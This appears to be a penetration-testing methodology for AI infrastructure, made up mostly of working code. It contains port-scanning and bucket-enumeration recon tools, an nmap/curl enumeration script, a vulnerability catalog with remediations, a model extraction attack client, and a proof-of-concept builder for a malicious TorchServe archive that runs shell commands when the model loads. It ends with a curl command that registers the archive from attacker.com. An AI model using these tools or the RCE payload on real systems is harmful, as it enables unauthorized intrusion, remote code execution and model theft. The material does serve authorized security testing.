AI 基礎設施的滲透測試方法論

"""
AI infrastructure reconnaissance toolkit.
Gathers information about target AI systems through passive
and semi-passive techniques.
"""
 
import socket
import json
from dataclasses import dataclass, field
 
@dataclass
class ReconResult:
    target: str
    ml_frameworks: list[str] = field(default_factory=list)
    serving_endpoints: list[dict] = field(default_factory=list)
    storage_buckets: list[str] = field(default_factory=list)
 
class AIInfraRecon:
    """Passive and semi-passive recon for AI infrastructure."""
 
    # Common ports for AI services
    AI_SERVICE_PORTS = {
        5000: "MLflow Tracking Server",
        5001: "MLflow Model Serving",
        6006: "TensorBoard",
        8000: "Triton HTTP / vLLM",
        8001: "Triton gRPC",
        8002: "Triton Metrics",
        8080: "TorchServe Inference / Seldon",
        8081: "TorchServe Management",
        8082: "TorchServe Metrics",
        8265: "Ray Dashboard",
        8443: "Kubeflow Dashboard",
        8501: "TensorFlow Serving REST",
        8500: "TensorFlow Serving gRPC",
        8786: "Dask Scheduler",
        8787: "Dask Dashboard",
        8888: "Jupyter Notebook",
        9090: "Prometheus",
        3000: "Grafana",
        9001: "MinIO Console",
        9000: "MinIO API",
        4040: "Spark UI",
        8998: "Livy (Spark REST)",
    }
 
    # Path-based fingerprints for AI services
    FINGERPRINT_PATHS = {
        "/api/2.0/mlflow/experiments/list": "MLflow",
        "/v2": "Triton Inference Server",
        "/v1/models": "vLLM / OpenAI API",
        "/api/sessions": "Jupyter Notebook",
        "/models": "TorchServe",
        "/v1/models/": "TensorFlow Serving",
        "/data/runs": "TensorBoard",
        "/api/v1/nodes": "Ray",
        "/pipeline/apis/v2beta1/pipelines": "Kubeflow Pipelines",
    }
 
    def __init__(self, target: str):
        self.target = target
        self.result = ReconResult(target=target)
 
    def scan_ai_ports(self, timeout: float = 2.0) -> list[dict]:
        """Semi-passive TCP connect scan for AI service ports."""
        open_ports = []
        for port, service in self.AI_SERVICE_PORTS.items():
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(timeout)
                if sock.connect_ex((self.target, port)) == 0:
                    open_ports.append({"port": port, "service": service})
                sock.close()
            except OSError:
                continue
        self.result.serving_endpoints.extend(open_ports)
        return open_ports
 
    def enumerate_cloud_storage(self, company_name: str) -> list[str]:
        """Generate candidate bucket names for AI asset enumeration."""
        prefixes = [company_name, company_name.replace("-", "")]
        suffixes = ["training-data", "models", "datasets", "ml-artifacts",
                    "model-registry", "checkpoints", "embeddings",
                    "sagemaker", "mlflow", "feature-store"]
        return [f"{p}-{s}" for p in prefixes for s in suffixes]

#!/usr/bin/env bash
# Active enumeration of AI infrastructure services
TARGET="${1:?Usage: $0 <target_host>}"
 
# 1. Port scan on the AI service port list
nmap -sV -p 3000,4040,5000,5001,6006,8000-8002,8080-8082,8265,8443,\
8500,8501,8786-8788,8888,8998,9000,9001,9090,18080 \
    --open -oN "ai_ports_${TARGET}.txt" "$TARGET"
 
# 2. HTTP fingerprinting: probe service-specific paths on each open port
for port in 5000 8000 8080 8501 8888; do
    for path in "/v2" "/models" "/v1/models" \
                "/api/2.0/mlflow/experiments/list" \
                "/api/sessions" "/health"; do
        HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
            --connect-timeout 3 "http://${TARGET}:${port}${path}")
        [ "$HTTP_CODE" = "200" ] || [ "$HTTP_CODE" = "401" ] \
            && echo "port $port: $path -> $HTTP_CODE"
    done
done
 
# 3. Probe OpenAI-compatible API (vLLM, LiteLLM) on port 8000
curl -s --connect-timeout 3 "http://${TARGET}:8000/v1/models" \
    | python3 -m json.tool

"""AI infrastructure vulnerability check catalog."""
 
from dataclasses import dataclass
from enum import Enum
 
class RiskLevel(Enum):
    CRITICAL = "critical"
    HIGH = "high"
    MEDIUM = "medium"
    LOW = "low"
    INFO = "info"
 
@dataclass
class VulnerabilityCheck:
    check_id: str
    name: str
    atlas_technique: str
    risk_level: RiskLevel
    target_service: str
    description: str
    test_procedure: str
    remediation: str
 
# Five representative checks map the most impactful AI vulnerabilities:
AI_VULN_CHECKS = [
    VulnerabilityCheck(
        check_id="AI-SERVE-001",
        name="Unauthenticated Model Management API",
        atlas_technique="AML.T0010",
        risk_level=RiskLevel.CRITICAL,
        target_service="TorchServe",
        description=("TorchServe management API on 8081 allows model "
                     "registration that executes arbitrary Python."),
        test_procedure="GET /models on 8081; POST /models with test URL.",
        remediation="Bind mgmt API to localhost; upgrade >= 0.8.2.",
    ),
    VulnerabilityCheck(
        check_id="AI-SERVE-002",
        name="Model Information Disclosure",
        atlas_technique="AML.T0024",
        risk_level=RiskLevel.MEDIUM,
        target_service="Triton/vLLM/TorchServe",
        description="Metadata endpoints expose architecture and shapes.",
        test_procedure="Query /v2/models/<n>/config, /v1/models, /models/<n>.",
        remediation="Restrict metadata endpoints to authenticated clients.",
    ),
    VulnerabilityCheck(
        check_id="AI-DATA-001",
        name="Training Data Storage Public Access",
        atlas_technique="AML.T0020",
        risk_level=RiskLevel.CRITICAL,
        target_service="S3/GCS/Azure Blob",
        description="Public cloud storage exposes training data.",
        test_procedure="Enumerate buckets; test list/read/write access.",
        remediation="Enable Block Public Access; versioning; Object Lock.",
    ),
    VulnerabilityCheck(
        check_id="AI-PIPE-001",
        name="Unauthenticated Pipeline Orchestrator",
        atlas_technique="AML.T0010",
        risk_level=RiskLevel.CRITICAL,
        target_service="Kubeflow/Airflow",
        description="Orchestrators without auth allow arbitrary runs.",
        test_procedure="Access dashboards on 8443/8080; submit pipeline.",
        remediation="Enable OIDC/RBAC; use NetworkPolicies.",
    ),
    VulnerabilityCheck(
        check_id="AI-GPU-001",
        name="GPU Memory Cross-Tenant Leakage",
        atlas_technique="AML.T0024",
        risk_level=RiskLevel.HIGH,
        target_service="GPU Clusters",
        description="GPU memory not cleared between job allocations.",
        test_procedure="Write pattern, release GPU, reallocate, read memory.",
        remediation="Enable MPS/MIG; clear GPU memory in scheduler.",
    ),
]

"""Model extraction via inference API — for authorized testing only."""
 
import requests
import time
import json
from typing import Optional
 
class ModelExtractionAttack:
    def __init__(self, target_url: str, model_name: str = "default",
                 rate_limit: float = 0.1):
        self.target_url = target_url.rstrip("/")
        self.model_name = model_name
        self.rate_limit = rate_limit
        self.query_count = 0
        self.collected_pairs: list[dict] = []
 
    def query_model(self, input_data: dict, timeout: int = 30) -> Optional[dict]:
        """Single query with temperature=0 for deterministic extraction."""
        try:
            resp = requests.post(
                f"{self.target_url}/v1/completions",
                json={"model": self.model_name,
                      "prompt": input_data.get("prompt", ""),
                      "max_tokens": input_data.get("max_tokens", 100),
                      "temperature": 0.0,
                      "logprobs": 5},
                timeout=timeout,
            )
            self.query_count += 1
            if resp.status_code == 200:
                return resp.json()
            if resp.status_code == 429:
                time.sleep(5)  # Backoff on rate limit
        except requests.RequestException:
            pass
        return None
 
    def generate_extraction_queries(self, num_queries: int = 1000) -> list[dict]:
        """Three query strategies for model behavior mapping."""
        queries = []
        # Strategy 1: systematic prompt templates spanning domains
        # Strategy 2: length-varied inputs probe context window behavior
        for length in [10, 50, 100, 500]:
            queries.append({"prompt": "word " * length, "max_tokens": 50,
                            "strategy": "length_probe"})
        # Strategy 3: special-token probing to identify tokenizer/family
        for token in ["<|endoftext|>", "[INST]", "<<SYS>>",
                      "<s>", "</s>", "[PAD]"]:
            queries.append({"prompt": f"Repeat: {token}", "max_tokens": 50,
                            "strategy": "token_probe"})
        return queries[:num_queries]
 
    def run_extraction(self, num_queries: int = 100,
                       output_path: str = "extraction_results.jsonl") -> dict:
        queries = self.generate_extraction_queries(num_queries=num_queries)
        with open(output_path, "w") as f:
            for i, query in enumerate(queries):
                if result := self.query_model(query):
                    pair = {"input": query, "output": result, "query_num": i}
                    f.write(json.dumps(pair) + "\n")
                    self.collected_pairs.append(pair)
                time.sleep(self.rate_limit)
        return {"total_queries": self.query_count,
                "successful_pairs": len(self.collected_pairs)}

"""PoC malicious TorchServe MAR archive — for authorized testing only."""
 
import os
import zipfile
import json
import tempfile
 
def create_poc_torchserve_handler(command: str = "id") -> str:
    """Handler executes a benign command on initialize() to prove RCE."""
    return f'''
import subprocess, logging
from ts.torch_handler.base_handler import BaseHandler
logger = logging.getLogger(__name__)
 
class PoCHandler(BaseHandler):
    def initialize(self, context):
        # Load-time RCE: subprocess runs when model is registered
        result = subprocess.run(["{command}"], capture_output=True,
                                text=True, timeout=5, shell=True)
        # Write proof-of-execution artifact to a known location
        with open("/tmp/pentest_poc_output.txt", "w") as f:
            f.write(f"Command: {command}\\n")
            f.write(f"Output: {{result.stdout}}\\n")
        self.initialized = True
 
    def handle(self, data, context):
        return ["PoC model loaded successfully"]
'''
 
def create_mar_archive(output_path: str, model_name: str = "security_test",
                       command: str = "id && hostname && whoami") -> str:
    """Package handler + stub model + manifest as .mar (ZIP) archive."""
    with tempfile.TemporaryDirectory() as tmpdir:
        handler_path = os.path.join(tmpdir, "handler.py")
        with open(handler_path, "w") as f:
            f.write(create_poc_torchserve_handler(command))
        # Stub model file (required by .mar format)
        model_path = os.path.join(tmpdir, "model.pt")
        with open(model_path, "wb") as f:
            f.write(b"PLACEHOLDER")
        # MANIFEST.json declaring the handler entry point
        manifest = {"runtime": "python",
                    "model": {"modelName": model_name,
                              "handler": "handler.py"}}
        manifest_path = os.path.join(tmpdir, "MAR-INF/MANIFEST.json")
        os.makedirs(os.path.dirname(manifest_path), exist_ok=True)
        with open(manifest_path, "w") as f:
            json.dump(manifest, f)
        mar_path = output_path if output_path.endswith(".mar") else f"{output_path}.mar"
        with zipfile.ZipFile(mar_path, "w", zipfile.ZIP_DEFLATED) as zf:
            zf.write(handler_path, "handler.py")
            zf.write(model_path, "model.pt")
            zf.write(manifest_path, "MAR-INF/MANIFEST.json")
    return mar_path
 
# Register the malicious model via management API:
# curl -X POST 'http://target:8081/models?url=http://attacker.com/poc.mar'